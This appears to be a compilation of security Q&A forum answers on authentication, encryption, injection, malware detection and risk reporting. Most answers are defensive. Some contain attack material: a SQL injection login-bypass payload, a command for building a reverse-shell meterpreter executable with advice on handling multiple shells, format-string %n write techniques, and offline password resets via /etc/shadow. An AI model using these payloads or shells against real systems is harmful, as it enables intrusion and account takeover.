Is it safe to use Google Authenticator app and SMS instead of passwords

When it comes to security, there are the three main paradigms:

Something you have can be interpreted as either an RFID key-fob, the Google Authenticator, a RSA key, etc.  Any physical object or thing that you need to posses to authenticate.
Something you know is most commonly interpreted as a password, but could also be a sequence of colors or shapes.  Something that you have to memorize.
Something of you.  This is bio-metrics: your voice print, your finger print, a scan of your retina, a 3D topological scan of your hand, how you walk, your DNA.

The current industry standard for authentication is moving towards a two-factor system as a baseline.  This just means that you require two of the three authentication paradigms.

You using Google or Facebook authentication as one of your two-factor systems, fulfills the something you know part of the equation, as the user has to know their login information for Google or Facebook.

Sending a user a text message fulfills the something you have part of two-factor.

Implementing both of those into your authentication scheme will put you about a year or two ahead of a large part of the application industry.  Your only real issue will be in how you secure the hashes you receive from Google/Facebook, on the user's account creation and the phone numbers associated with the users.

If your table with the Google/Facebook hashes or the user phone numbers gets compromised, then it is basically the same as your user giving away their passwords.


Safely remove original file after encryption

The most secure way to do this is to not have the unencrypted file on persistent storage in the first place. Pipe the unencrypted data directly to your encryption program directly from whatever program that generated/downloaded the data.

You'll also need to take care that you use the OS API to mark your memory area as non-swappable (e.g. with mlock on Linux). This ensures that the program wouldn't be paged out to disk by the virtual memory manager. Depending on your requirements, you may also need to take care to discard any sensitive data before the computer goes into suspend or hibernation.

Note that shredding a file may not actually overwrite the unencrypted data on some storage devices like SSD due to write balancing.


Should users be allowed to login with the same password when a password change is requested but not changed?

Yes, you should allow users to log in using the old password until they have changed the password. Otherwise it would be possible to lock users out of their account by requesting a password reset for them.


Difference between Art And Dalvik Security on android?

On a general basis, the distinction between just-in-time and ahead-of-time compilation is not relevant to security. One can see things as performance trade-offs. For an application, that consists in a sequence of small instructions meant for the abstract sort-of-Java virtual machine:

In pure interpretation, individual instructions are parsed when they are to be executed, and the parsing of any instruction is done every time that instruction is executed.
In AOT compilation, during a preparatory phase (e.g. when the application is installed in the phone), the instructions are translated into the opcodes that the actual hardware CPU understands. Thus, the "parsing" is done once. Performance is much better, at the expense of a one-time translation done at installation.
In JIT compilation, you get something in-between these two models. Translation is not done in advance, but it is still done by whole chunks (a complete function in one go) instead of instruction per instruction. Compared to AOT, more compilation occurs, basically whenever the application is launched, instead of once. On a rather theoretical basis, JIT compilation may optimize things based on the actual execution pattern and could produce a better (faster) sequence of native opcodes than AOT; in practice, this effect tends to be nullified by the constraints under which JIT compilation must operate (in particular, since JIT occurs when the application is being used and the user is waiting, the JIT compilation must be fast).

In all of the above, the security properties of the Java VM are maintained: all array accesses are still checked, all method calls are verified to happen only on objects that indeed offer the said methods.

If we want to nitpick, then we might argue that ART somewhat reduces security, not because it uses AOT compilation, but because it is new, and new software tends to have more bugs than old software (a large user base represents a lot of testing, so old software has been naturally tested thoroughly). Conversely, we might pretend that AOT compilation is simpler to implement than JIT compilation (because AOT does not have to deal with translating a live application and already allocated objects) and therefore an AOT-based JVM implementation would be less likely to have bugs than a JIT-based JVM. But these considerations are just idle speculation under the usual assumption of "all other things being equal", and it is known that all other things are never equal.


Is there standard guideline on how the sanitized input should appear in the error message?

Any error message shouldn't provide information to the attacker other than their attempt was unsuccessful. Example: A password/username failure should say the attempt was bad, not whether the username was bad, or the password, or both. If it does, that information might be usable to an attacker in an effort to circumvent your safeguards. Something along the lines of: "Invalid Address" or "Address not Found" in the case of an Address field would be more than sufficient. The same goes for any other field as well.

Now, I am uncertain as to why you would re-display the malicious information to anyone attempting to insert malicious code into your system. It definitely reveals what is happening behind the scenes, instead of hiding the inner-workings of your system from the attacker.

The vaguer the better.


Your Apache log format does not include any information about the time it took to process each HTTP request, therefore we can neither confirm nor reject with 100% certainty the possibility of a Slowloris attack, since this attack achieves connection pool exhaustion by initiating a large number of connections and keeping them open for prolonged periods of time.

  There is about 20000 such requests

This information is irrelevant unless you specify the time-frame during which these requests were made.

It's hard to determine from your log snippet whether this is an actual attack or not. One would need historical data in order to determine the normal usage patterns of your application before being able to make such conclusions.

The "MS Office 12" part of the user-agent string would indicate that these requests originated from an application that is part of the Microsoft Office suite -unless of course the user-agent string is spoofed by some custom bot/crawler.


Can a malicious Tor exit node perform a HTTPS man-in-the-middle attack to see/modify your HTTPS traffic?

Somebody owning a Tor exit node can sniff and modify any traffic. This includes of course also man-in-the-middle attacks against HTTPS connections. This is not only  theoretical attack but used in practice, see https://trac.torproject.org/projects/tor/ticket/8657. See also How safe is Tor from MITM/snooping attacks? for a more detailed answer.


Does Injection Attack Against SQL Server Require Semicolon or Comment?

In the fully general case, absolutely not. For example, suppose your login system uses a SQL statement that looks like this: "SELECT TOP(1) userId FROM Users WHERE username = '" + userName + "' AND password = '" + hashedPass + "'" where userName is directly supplied by the user. If the attacker supplies ' OR 1=1 OR 'a'='a - which has no semicolons, comments, or even subqueries - then the entire query will be SELECT TOP(1) userId FROM Users WHERE username = '' OR 1=1 OR 'a'='a' AND password = 'f40a564107bad8ebf1b5ae73c350ebea' (assuming the hashed password is 'f40a564107bad8ebf1b5ae73c350ebea'). The AND operator in the WHERE clause takes precedence, so we gave it a nonsense value to check against ('a' will equal 'a' but the AND will still be false overall for probably every user since the password is a guess, and that's OK), and there probably isn't a username of '' in the DB, but the ... OR 1=1 OR ... part means that every single row will match the WHERE clause. The database will simply return the first row in the table, who is likely an admin of some kind. This example could be modified to instead log in as any specific user, still without needing their password.

As a general rule, while defense-in-depth is good, blocklists are basically worthless. Parameterize your queries (for SQL Server in particular, use Stored Procedures for a perf gain while you're at it) and use database-specific sanitization libraries for anything you can't parameterize or that might otherwise be concatenated into a SQL statement. Where practical, go ahead and validate types and lengths too. Trying to block specific characters is almost certainly going to be either too aggressive (blocking legitimate input) or too permissive (missing something that is potentially harmful) or even both; there is often overlap between "would be dangerous if interpreted as SQL code" and "might legitimately appear in user data".
In the best case, where you somehow have a perfect blocklist that doesn't break anything, it'll still fail if you forget to check input against it. That might sound like a silly concern but both parameterization and escaping are fully-sufficient defenses when used correctly, so for the blocklist to be relevant you'd have to already be forgetting something. Your odds of forgetting every security control except the blocklist seem low enough that its expected value approaches zero anyhow.


Pentest -- handling multiple reverse shells

Metasploit has multiple payloads divided into single, stager, and stage. Single payload is all encapsulated in one executable and don't require any additional downloads. For example, payload/windows/shell_reverse_tcp is a single payload which can be used as a standalone executable.

By default the meterpreter payload is a staged payload. If you generate it through msfconsole/msfpayload/msfvenom then the first stage is generated and when executed, it downloads the second stage metsrv.dll from the handler. However, there is a standalone meterpreter payload outside the Metasploit official tree created by Sherif Eldeeb. You can download it from Sherif Eldeep github repository.

From the github repositoty, download the ultimet.zip archive and generate the standalone executable as:

ultimet.exe -h <LHOST> -p <LPORT> -t "reverse_tcp" --msfpayload

-t is the transport you choose. You can other transports such as reverse/bind http(s) as well. The above command is going to create a new executable in the directory having a name REVERSE_TCP__LPORT.exe. This is a standalone meterpreter executable where the second stage metsrv.dll is encapsulated in the same executable. However, note that the reverse_https transport currently has a bug where the connection crashes every time you connect to the handler. reverse_tcp is very reliable.

Use the ExitOnSession false option in the msfconsole and you can handle as many sessions as you want. Also, I have noticed that multiple connections can be handled more efficiently through the Armitage more easily but it is only a matter of preference. msfconsole is also very good in handling multiple connections where you can automate a lot of post exploitation tasks using resource scripts.

Update: As of pull request 4925, stageless meterpreter is now part of official Metasploit distribution. This is not integration of Sharif's work but rather a complete rewrite from OJ Reeves.


Why use dedicated SSH keys for different hosts (like GitHub)?

Answer: Revocation.

When you lose an SSH key, you have to revoke it on everything it had access to. If you use the same key on GitHub as you use to SSH in to your personal web hosting, you have to remove the key from both places. One key per service means none of your other keys are impacted by loss.


ufw and nmap show different result in terms of open ports

To list current open ports, use netstat -atnp

for you Zenmap / nmap result. it depends on where did you run the command. same machine / local network/ external network


Is a cryptographically signing camera possible?

As  @ThoriumBR stated, yes it’s possible …

Like so many things, while the concept is straight forward, the details and intent become complex very quickly.

What are you cryptographically signing and what constitutes modification?

Digital RAW unprocessed data as a function of taking a picture is not itself a picture yet, there is no such thing as an unprocessed picture. Are you signing this?

Resolution and sensor crop is often definable.  Are you signing this?

Processing into a picture (jpeg) includes many many in-camera adjustments:

White balance
sharpness
lens correction
contrast
gamma
saturation
red eye
special effects
…

Are you signing these?

Is a crop of a signed picture not valid? A rotation?

Is an external filter a valid picture but the equivalent digital filter is not?

In photography the amount of processing differentiates “documentary” verses “art”, but even there the line is fuzzy.

If you're willing to accept all in-camera modifications to produce the jpeg, then a straight forward signature against the JPEG including the embedded EXIF data that identifies the camera and settings could be done. This doesn't address protection of the signing key.


Computer-level logging by financial institutions

I'm not certain specifically what methods the banks you listed use for this, but I would do a combination of many things, mostly server side and stored in a database.

Disclaimer: Not any one of these things are by any means fool proof.

User agent
First and second octet of IP Address (may not be feasible with dynamic IP, this is still processing in my head)
Average days of week/time of day user logs in
Browser cookie containing a random token

These things create a signature of the typical environment a user logs in from. When that changes, we prompt for an additional authentication item.

When a user logs in and one or more of those fields stored in the database doesn't match, I would prompt for the secret phrase, or whatever field you use.

I'm sure there are other ways, and other fields you can store to compare against, these are just a quick few that came to mind.


What is the best way to report IT Security risks to Executive management?

From the resource, Information Security Governance for Board of Directors and Executive Management -- http://www.isaca.org/knowledge-center/research/documents/information-security-govenance-for-board-of-directors-and-executive-management_res_eng_0510.pdf

  Desired Outcomes

  Information security governance consists of the leadership,
  organizational structures and processes that safeguard information.
  Critical to the success of these structures and processes is effective
  communication amongst all parties based on constructive relationships,
  a common language, and shared commitment to addressing the issues. The
  five basic outcomes of information security governance should include:

  Strategic alignment of information security with business strategy to support organizational objectives
  Risk management by executing appropriate measures to manage and mitigate risks and reduce potential impacts on information resources
  to an acceptable level
  Resource management by utilising information security knowledge and infrastructure efficiently and effectively
  Performance measurement by measuring, monitoring and reporting information security governance metrics to ensure that organizational
  objectives are achieved
  Value delivery by optimizing information security investments in support of organizational objectives

  [...]

  Process Integration

  A promising concept, driven in large part by the increasing tendency
  to segment security into separate but related functions, focuses on
  the integration of an organisation’s management assurance processes
  regarding security. This can serve to improve overall security and
  operational efficiencies.

  These activities are at times fragmented and
  segmented in silos with different reporting structures. They tend to
  use different terminology and generally reflect different
  understandings of their processes and outcomes with, at times, little
  in common. This makes it difficult, if not impossible, to seamlessly
  integrate them. Results include overlapping security initiatives,
  which waste resources, or major gaps that can lead to serious security
  compromises.

There is no one-size-fits-all model, but we have a few strong frameworks to aid in governance. The NIST Cyber Security Framework (CSF) is a strong, dominant framework for addressing cyber risk in that it is outcomes-focused. For defining a common language, the OpenGroup FAIR standard documents a strong, dominant information risk-analysis model that includes very-specific language, in addition to variable selection, et al. FAIR does not tell an organization how to calculate, but it does lay out the calculables. A book reference I would recommend is Measuring and Managing Information Risk, where FAIR is shown to utilize PERT analyses with Monte Carlo Simulations to produce an accurate picture of information risk that many businesses can rely on to be the state-of-the art in accuracy. The authors also show their work and document where else information risk analysis models are being developed.

For process integration, we should see existing structures outside of IT merge with cyber risk. Many colleagues and I have been discussing how BCDR risks work alongside or simultaneous to cyber risks. If your org has an existing BCDR program (or subset), it may strike up interesting conversations to say the least -- especially that can aid the risk communication cycle with executive management. Some orgs may have other places this can occur, such as physical security, corporate security intelligence, a risk office (or committee), etc.

Depending on the culture and structure of your executives and the business, some models and frameworks will work better than others. Some businesses and top-level processes run on experiments -- some strongly tied to the scientific method. Very often, the business works the top-line and bottom-line of their financials. Given the time value of money, many executives trained with financials see that investing in growing the business will pay dividends for the business (and its shareholders, who many executives work for). While nobody knows why certain organizations have cyber security budgets at the levels they do (or how they get to those numbers), at least we do have some research on what those budgets typically are: If the company's revenue is under $100M/year, they should be spending around $800K/year on cyber security; if $100M-$1B/year, spend should be over $3M/year; if revenue is over $1B/year then the cyber security budget should be over $30M/year -- (Original sources: https://web.archive.org/web/20160315032510/http://blogs.wsj.com:80/moneybeat/2015/09/09/cybersecurity-index-beats-sp-500-by-120-heres-why-in-charts/ --
 http://www.cyberrisknetwork.com/2015/09/24/data-spotlight-cybersecurity-budgets/ , N.B., as of Q2-2017 this second source is no longer available and the images were difficult to locate even via archive.org. Knowing what we know from the Equifax data breach, for companies with revenue of over $1B/year, the cybersecurity spend should be at least $40M/year. A new study would greatly help this simple approach to budget allocation).

There may be hybrid models, and more often than not -- balancing risks with business needs comes down to a cost-benefit analysis (CBA). Krag Brotby wrote a few books on security metrics and other topics where this is partially covered. However, the idea of a CBA has been around for quite some time. You can Wikipedia concepts such as Opportunity cost or Sunk costs to find out more. Also in this vein comes from a book, A New Framework for IT Investment Decisions, that uses either Hubbard AIE and/or the Black-Scholes model to provide Notional Value / Potential Impact. Using the Black-Scholes model, one can treat investments as options where the underlying assets are the IT systems, the current value is NPV from IT projects, volatility is uncertainty in cash flow from IT projects, the exercise price is the investment required, and the exercise date is the date for developing the IT project. Hubbard AIE is covered in the book, How to Measure Anything in Cybersecurity Risk.

I have found hybrid models to be useful. Combine all of these ideas but still keep it simple. A useful aid when integrating cyber risk processes to existing business processes (such as BCDR) is the Multiple-Scenarios Generation Technique, as well as related analytical techniques. Scenario planning is a common strategy tool, but other tools such as SWOT Analysis, Hoshin Planning, Porter's Value Chain, and other strategic business concepts may also be useful. I think these are great places to start, but to get to a common language, such as FAIR, is really the ultimate challenge for a cyber risk register that has a model approaching closeness to reality. Maybe not exact reality, but a useful model that supports the business needs at the time. The problem with cyber is that the models typically need to be updated (or somehow self adjust to global cyber-risk events) hourly or daily.


How can I check if there is malware on my router?

Checking a router for malware or tampering is tricky, as that would require being able to compare both firmware and configuration with known good versions. Comparing configuration could be done by comparing configuration backups, if the device has such functionality, but that doesn't really work for firmware. Therefore, there's no really sufficient way to ensure the router is free of malware.
However, some infections & router hijacks can be recognized from the modified behaviour in the network:

Signs of man-in-the-middle (MITM) attacks (independent of which device is used).

Counterfeit DNS responses or modified DNS server configuration
HTTPS downgrade attacks

Reports from the ISP that the Internet subscription is used for malicious actions. If the router is infected, such actions likely continue despite there's no devices behind the router.

as a part of distributed denial-of-service (DDoS) attacks
for sending spam email.


In an insecure serverside application this would be a problem. But it is most likely to not work against most applications. This is web application security 101.

A properly coded application will take these names/values and sanitize the data server side. Once the data is verified as what it is looking for it will then make them part of the query. So likely any name and value you submit the applications code doesn't recognized will simply be ignored. Basic error handling might even stop the request.

Additionally they may have security tokens in place. This is to prevent someone from making a POST request with fraudulent data and tricking someone else into submitting it and to stop spam submission. So simply submitting a POST request might not allow it to go through at all.

Overall it is a pretty broad subject. But you can read more on how serverside data is securely handled at OWASP if you wish to familiarize yourself better.


SYN Flood from fixed spoof IP but receive only one packet

SYN_RECV is a state of a TCP socket which is identified by an IP+port pair. So all your SYN segments fall into the same socket, as the IP+port pair is fixed in your case.

As you probably don't change sequence and acknowledgment numbers as well, the TCP driver on the victim just treats all those SYN segments as retransmitted.


Do I need to save the IV generated to the database?

Yes, you do need to save the IV.   In CBC mode, the IV is XORed with the first block of data before encryption in order to prevent leakage of information about the plaintext, specifically whether the first block of two ciphertexts using the same key also start with the same plaintext.  You are correct in your belief that you will not be able to decrypt your data correctly without it.


ClamAV detected CVE-2014-8449 in some PDFs. How do I know if it's a real problem?

If the files are not sensitive from a content point of view you can upload them to a checker such as Virus Total

If this also gives you a positive result it's likely an infection.


Why is sub resource integrity (SRI) only limited to certain files?

Why is it limited to JS and CSS resources?

  But, why is it only limited to JS and CSS files?

The W3C SRI specification states:

  The scheme specified here also applies to link and future versions of this specification are likely to expand this coverage.

It also states:

  A future revision of this specification is likely to include integrity support for all possible subresources, i.e., a, audio, embed, iframe, img, link, object, script, source, track, and video elements.

It seems that this is just the first version of the specification. The github repository also includes a milestone referencing issues the second version of the specification will address. For example, there is a github issue regarding adding the ability to add the integrity for downloads.

  I tried to pin a LESS (CSS variant) file, of which the integrity tag was ignored by Firefox and Chrome.

It seems that they follow the specification to the letter. The first version is about adding the integrity for the link and script HTML elements, but not for every attribute. The specification only mentions handling the integrity attribute for the link element when rel="stylesheet":

  Whenever a user agent attempts to obtain a resource pointed to by a link element that has a rel attribute with the keyword of stylesheet

By looking at the Less website, we see that they rely on link but with rel="stylesheet/less", thus not part of the specification.

Maybe you could file an issue on their github repository for the second version?

Why is it limited to external resources?

  why not add it on all browser included files (even self-hosted)?

By looking at the specification it does not seem it was part of their threat model. Here is their first goal:

  Compromise of a third-party service should not automatically mean compromise of every site which includes its scripts.

One could assume that if an attacker is able to modify a self-hosted JavaScript file, it can probably do more. Sure, it does not mean the attacker can modify the HTML part, but the attacker in their model cannot modify internal resources.


Should websites be allowed to disable autocomplete on forms or fields?

The problem is that this one setting simultaneously controls the behavior of two similar but sufficiently dissimilar functions in the browser such that an optimal result is difficult to achieve.
First, we have what you might call "smart" or "naïve" or "automatic" auto-complete.
This is the original auto-complete technology. As you fill in forms on various sites, the browser watches the names of the forms and the contents you fill, and silently remembers the details. Then, when visiting another site with a similar-looking form, it "helpfully" fills in fields using the values it filched from your previous behavior on other sites.
The idea here is to save you time without any configuration or decision-making on your part. Filling in your name? We'll automatically fill in the name you used last time. Filling in a credit card? We'll fill in the credit card you used elsewhere.
In its zeal to be helpful, the browser is sharing your secrets from one site with all the others, just in case it's what you wanted. From a security perspective, this is a disaster for all the obvious reasons and for several non-obvious ones as well. It has to be disabled, and probably shouldn't have ever been implemented to begin with.
Second, we have "explicit" or "secure" or "configured" auto-complete
This is the world, primarily, of saved usernames and passwords. In this incarnation, the browser saves your form data only with your explicit approval. Ideally, it stores that data in an encrypted store, and most critically, the data is firmly associated with a single site. So your Facebook password stays with Facebook, and your Amazon address stays with Amazon.
This technique is critically different in that the browser is replaying saved behavior when the matching environment is detected. By comparison, the other technique is anticipating desired behavior automatically by looking for similarities.
When you visit the site and it presents a login form, your browser should helpfully auto-fill the data you had explicitly saved for that purpose. The interaction should be quick and thought-free for the user. And, critically, should absolutely BREAK in a phishing attempt. The browser should be so completely unwilling to deliver credentials to a phishing site such that it makes her stop and think about why the thing isn't working.
This feature is your primary line of defense against phishing. It has to work. You are unavoidably less secure if the user can't depend on this feature working transparently and effortlessly under normal conditions.
And while this is primarily used for credential storage, it's also a secure place to put other secure data as well, such as payment cards, address, security questions, etc. Such additional data probably won't be site-specific, but should probably not auto-fill without prompting.
One option to rule them all
The problem here is that in many implementations, the autocomplete=false option controls both behaviors. Both the one you want to keep, and the one you want to kill.
Ideally, "secure" auto-complete should never be disabled. We're relying on this feature to add safety, so misguided site operators shouldn't be allowed to jeopardize that.
And ideally, "automatic" auto-complete should be disabled by default, to be enabled only for those rare conditions (if any) where you actually want the browser to re-use your input from other sites.


mRemoteNG monitoring the clipboard constantly?

mRemoteNG has to view the clipboard, as it synchronizes it to the remote host. This is intended and normal behavior for remote desktop software, when you configure it to do clipboard mirroring.


Microsoft SDL v5 is pretty decent and you have to full paper explaining the whole process that can be downloaded from MSKB: http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=12285
If you need to get just a general grasp of the process, you can read a short and solid intro @ TechSurface: http://techsurface.com/2010/01/microsoft-security-development-lifecycle-sdl.html
There are several more esoteric ones, if you are interested:

Maturity Framework for Assuring Resiliency Under Stress
Correctness by Construction

For Android secured development, try those:

https://isecpartners.com/files/iSEC_Securing_Android_Apps.pdf - development focused.
http://developer.android.com/guide/topics/security/security.html - for system security considerations.


Using MAC Filtering in addition to WPA2 Encryption

If your network uses WPA2, then clients must connect using WPA2 and the appropriate authentication method (e.g. PSK). MAC filtering doesn't really have to do anything with WPA2, it just adds another layer of access control that determines which devices are allowed to connect.


Why bother with certain types of 2fa if they can be easily bypassed?

Yes, TOTP and HOTP (in addition to email, SMS, etc) are vulnerable to this. Why do we use them? Because they're easy to implement, and they do provide some protection. As long as the majority of people aren't using any sort of 2nd factor, phishers will predominantly target those users, as MitM phishing (debatably) takes more effort.

I've said it before and I'll say it again, once most people have started using 2FA for their important accounts, this sort of MitM phishing will become much more common. The way to prevent this is U2F or WebAuthn, which both use public key cryptography to authenticate to the server, and communicate with the browser to verify that the domain name you've visited matches the domain you registered the key for.

If you want to see a longer and (in my opinion) less biased blog post on the issue, I skimmed this Evilginx 2 blog post and it seems to cover everything pretty well (and even has some stuff about how phishing domains can avoid scanners that try to block them).

I was focused on phishing, but as Ajedi32 points out, 2FA is useful for more than just preventing phishing. It's useful whenever your password may be compromised but the second factor isn't.


Your reasoning is generally correct, the base math is indeed
(charset_size**code_length) / guesses_per_second (where ** is exponentiation). For the sake of completeness (I see you already took most of this into account), there are some things one should factor in:

How fast is your web server? This would limit how fast they can check, at least currently.
Does your server implement any monitoring or rate limiting? If you limit users per IP, how many different IP addresses do you expect they can get access to?
For how many years should the data be secure?
Does the attacker "win" if they guess a specific secret URL, or anyone's secret URL? In case of the latter, you need to factor in the number of URLs you expect to exist after years of running the service (as you did).
Is the server using a secure random (your code looks good).

Perhaps slightly out of scope of this question, but there are also some general security considerations:

Does a request take longer if a few characters are guessed correctly (because the database then needs to do more lookups in the indexed field) and might an attacker be able to guess it (almost) character-by-character?
Secrets in URLs are generally a bad idea: they may be stored in browser history, corporate proxy logs, visible while shoulder surfing, and may be sent to third parties through the Referer header. The only one of these you can really prevent is setting a Referrer-Policy, but relying on web server configuration for security seems fragile.
Of course, it may be unavoidable in this case and I doubt there exists an equally convenient alternative method. It's just generally good to be aware that secrets in URLs are not a very reliable security mechanism.

To answer the specific question about

  How many URLs can be checked per second by a private attacker?

Let's say they're willing to spend some money to get a gigabit connection (125MB/s) and that it takes 2KB of traffic to check whether a given URL exists, then assuming no server limitations, you're looking at about 125e6/2e3≈63k requests per second. Since VPSes with a gigabit uplink are very cheap, I think it's fair to assume that any motivated individual can run a bunch of these in parallel. Bandwidth costs will also probably go down in the future as they have in the past.


How do living politicians protect their readily obtainable signatures from misuse?

They don't. Outside the lowest security scenarios, signatures aren't intended to be security feature to prevent forgery.

In most cases, putting a signature on paper is just ceremonial. The actual details/decision may have been recorded through other means. For example, depending on what exactly is being signed and how sensitive the matters is, by witnesses (whether by sworn individuals or even just casually), through publications in mass media, or filed into a register on a trusted computer system/filing cabinet.

In the latter case, the paper you receive, even when physically signed with ink and even if it's the paper signed when you shake hands in agreement, might just be considered a copy of the true records in the registry you don't really see. This is similar to how a birth/death/university degree certificate is really just a copy of the registration detail in your civil/university records, the only really important detail in that piece of paper is the record number rather than the signature. A person who has reasonable suspicion that the letters might be a forgery should confirm with the office of the relevant signer to check for its authenticity. For important, formal letters, there may be a filing number for the file that you can cite to confirm the content of the letter.


Does the key size have an effect of the size of the public key and signature

Yes, the public key size and signature size is smaller when you use a smaller RSA modulus. The RSA public key composed primarily of the product of two very large prime numbers. This product is said to be the modulus, and this is what makes RSA keys so large. RSA 2048 has a 2048-bit modulus. The signature size also depends on the modulus size. In fact, it will always be about as large, but no larger.

An RSA signature is created by raising an integer representation of the hash of the message to the power of a secret integer kept in the private key. The result is divided by the modulus, and the remainder is your signature. Because the result is so massive, the remainder is also going to be quite large. The bigger the modulus is, the bigger the remainder is, and thus the larger the signature is.

If you need a secure signature scheme which has small public keys and signatures, try Ed25519.


Most malware that abuses channels (from my experience) includes some form of randomisation in connection timing. Even something as simple as 60 minutes + rand(-5,5) can defeat timing profilers. You will also find that people have some shockingly regular patterns in their browsing habits.
From experience, frequency analysis will produce a lot of false positives in a large enterprise. Everyone's into their own thing and interests shift. Instead, analyse the domains for "infancy". Look up when the domain was registered and look for domains less than 3 months old. Then look for domains not owned by a * Inc. or * Ltd. or who have a "domain privacy shield" in place. Bubble those up for further investigation.

One thing you have not mentioned is comparing the domain with blacklists from a blacklist service. I assume you thought of that, but I wanted to mention it.

Remember that it is trivial for malware authors to adjust to any detection methods that you can devise (like timing analysis). The more robust detection processes require complex statistical analysis on both the destination and the requesting node compared the node's peers and general trends in the local environment (timing, time, frequency, content, bandwidth, mismatched peer profiles (a non-peer acting like a peer)). And even then, it will require further analysis to determine the true positives.

I have developed UEBA algorithms for just this sort of thing, and once you start, you will find yourself down a bit of a rabbit hole ("maybe I can tweak it this way and get better efficiency!"). For 80% effectiveness, focus on the "infancy" analysis that I mentioned above.


How to lock down iSCSI mounted NAS against ransomware

There is nothing special about this use case: if you fear that the read-only access can be bypassed using privilege escalation then make sure that privilege escalation is not possible on your system. If you fear that ransomware can infect and harm your system make sure that it does not get to your system. Thus the iSCSI problem is reduced to two other well known problems.

Since both of these problems which are known to have no perfect solution you should make sure that the single perfect solution against ransomware still works: make regular offline backups.


Having a backdoor password for each user to allow impersonation

Is terrible, really terrible. Almost as terrible as storing the cleartext version of the passwords on a file named passwords.txt...
The first rule of storing passwords is that you never store passwords. You salt and hash them.

encrypted with a key only the API has access to

You cannot guarantee that. If the API can access, other entities can access it too. Anyone accessing the server as root can extract it. Anyone that have read access on the API application can extract it. Don't do that.
This is the shortest path to leaking every password on your database.
So, how do you impersonate any user?
You don't.
Create test users for each role, give them very strong passwords, and impersonate them instead.
You don't want to grant privileges to particular users, but you create groups, grant privileges to the groups, and connect the users to the groups.


Respectfully, @Adnan is dead wrong in some key assumptions that it is relatively safe to open an unknown external drive.

As I answered here, it is not safe to connect any infected drive without proper safeguards in place.

In fact, the only way to be 99.99% (nothing in security is certain) sure it's malware-free is to actually do a forensic examination on it. At a bare minimum you should only attach an unknown external device using a proper VM. Ideally, you would take a forensic image of the drive and then examine it in the VM.

Note that you can do this 'safely' but only if precautions are followed.

Here is a simple article that outlines a few real-world examples.

Bear in mind that it is not just limited to autoplay features. There are sooooo many ways to hide things digitally and then execute them (leveraging OS/driver/buffer exploits for example).

Update: you may want to keep your ears peeled for more information on this as it's presented at Black Hat soon.


Is it possible to catch a virus on my LAN without clicking on anything?

Absofrickenlutely.

All the other infected PC(s) have to do is find a vulnerability in an unpatched application visible on the network on your PC and exploit it with vulnerabilities they know about.

This doesn't just apply to Windows either. Any OS that is network facing and has exploitable vulnerabilities can be attacked this way.


Recover password or password hash from locked account

If you have no rights at all, then you are out of luck. There is no way to retrieve the password. Depending on the operating system you can reset the passwords in different ways:

Windows

For windows you will need to reboot the machine and use a special CD to try and reset the password. One tool you can use is this one: http://pogostick.net/~pnh/ntpasswd/bootdisk.html

Linux

On  Linux you need to boot with a live CD, mount the hard drive and generate a new hash for the root password on the live cd using passwd. Then go to you /etc/shadow and copy that hash for your root account to the /etc/shadow on the mounted hard drive. When you reboot your machine the password will be the password you generated on the live cd.


CSP base-uri directive on "View page source" on

To help future users I will summarize the help information provided in the comments by @Sjoerd and @dandavis .

In the CSP specification 'self' is defined as follows:

  'self'

  Refers to the origin from which the protected document is being
  served, including the same URL scheme and port number. You must
  include the single quotes. Some browsers specifically exclude blob and
  filesystem from source directives. Sites needing to allow these
  content types can specify them using the Data attribute.

This is partially ambiguous as it seems scheme is not defined. In the example provided, Chrome defines the scheme of self to be http: and view-source:http: as a different scheme.

Firefox seems to have chosen a different interpretation where view-source:http: is the same scheme as http: or at least that they both match 'self' in the base-uri policy.

In chrome, you would expect the CSP report to contain

"blocked-uri": "view-source:http://localhost:8080/frontend/"

Which would hint about why the uri was blocked, but it looks like the view-source: part is removed before sending the CSP report.


Is WordPress a security vulnerability inside a corporate intranet?

It would depend on the version of Wordpress, in general the idea is that you need to patch your software and harden it to make it secure. But it's not that Wordpress is any less safe than Sharepoint.

Wordpress is in general well maintained and CVE's are patched or fixed quite rapidly. So if you keep up with these then it's safe to use Wordpress. (do mind that you need to keep track of your plugins as well)

If you don't do this in general, then your Sharepoint will probably be as insecure as your Wordpress (or any other software that's on your Intranet for that matter).

But saying that software X is insecure without providing any facts to support the statement is a bit stupid.

EDIT
To compare intranet vs internet, the likelyhood is lower, but the impact is the same as on the internet.


Using format string to control the flow of a process?

To understand what is going on, the important point is that in C, functions do not "know" how many arguments the caller gave them. For normal functions, the compiler detects invalid usages. For instance, if you write this:

#include <string.h>
/* ... */
    memcpy(a, b);

then the compiler will complain loudly, and refuse to finish compilation: the included header <string.h> declares the memcpy() function as taking three parameters (two pointers, and an integer of type size_t). If the compiler then sees a call to memcpy() with only two parameters, the mismatch will make him scream.

However, some functions take a variable number of parameters, e.g. printf(). For these functions, the compiler cannot do much checking. printf() uses as first argument a "format string" whose contents tell printf() how many other arguments it should find, and their expected type. When the format string is a literal constant, smart compilers can do some extra checks (with gcc, this is done with the "format" attribute, a gcc-specific extension). But it cannot do anything when the format string is obtained at runtime. Imagine, for instance, the following code:

printf(s);

where s is a string which the attacker can choose (e.g. some data sent over the network, or an invocation parameter). The programmer just assumed that the string was "plain" (only alphanumeric characters) but the attacker can put "%" signs in it, which printf() interprets by looking at extra parameters. There are no extra parameters, so printf() will actually look at the memory slots where extra parameters would have been, had there been any. These slots are "lower in the stack" (technically, at higher addresses, since stacks "grow down" in most architectures); local variables, function return address, and other stack elements for the current function (and its caller, and its caller's caller, and so on) are found there.

By using %u specifiers, the attacker can read all these slots (printf() will dutifully print out their contents), and that's already bad. With the %n parameter, the powers of the attacker are even enhanced: %n takes the next parameter, interprets it as a pointer value, follows it, and writes at the pointed-to address the current number of characters so far (the number of characters printed out by printf() up to the %n). If the faulty printf() call occurs in a function where there is a local variable which is also under the control of the attacker (e.g. a simple integer value), then the attacker can make a %n to use that local variable as a pointer, and write data where it points to. In shorter words, this gives the attacker the ability to write whatever bytes he wants, wherever he wants in RAM. At that point, you are pretty much doomed.

The correct code would have been:

printf("%s", s);

which then forced printf() to print the attacker-controlled string "as is", without doing anything special with the "%" characters.

This printf() vulnerability highlights the fact that C is a rather dangerous language: no bounds checks, no strong type checks... you can make the program look at memory slots as if they were parameters, while they are not, and also interpret byte patterns as if they were pointers, which they are not. Competent C programmers will write their code so as to give the compiler as most information as possible, so as to detect errors (security holes are just programming errors with an effect that can be twisted to the attacker's advantage). But competence is a scarce resource, and even the best programmers occasionally do mistakes.


Why do private networks use both X.509 and User/Password authentication

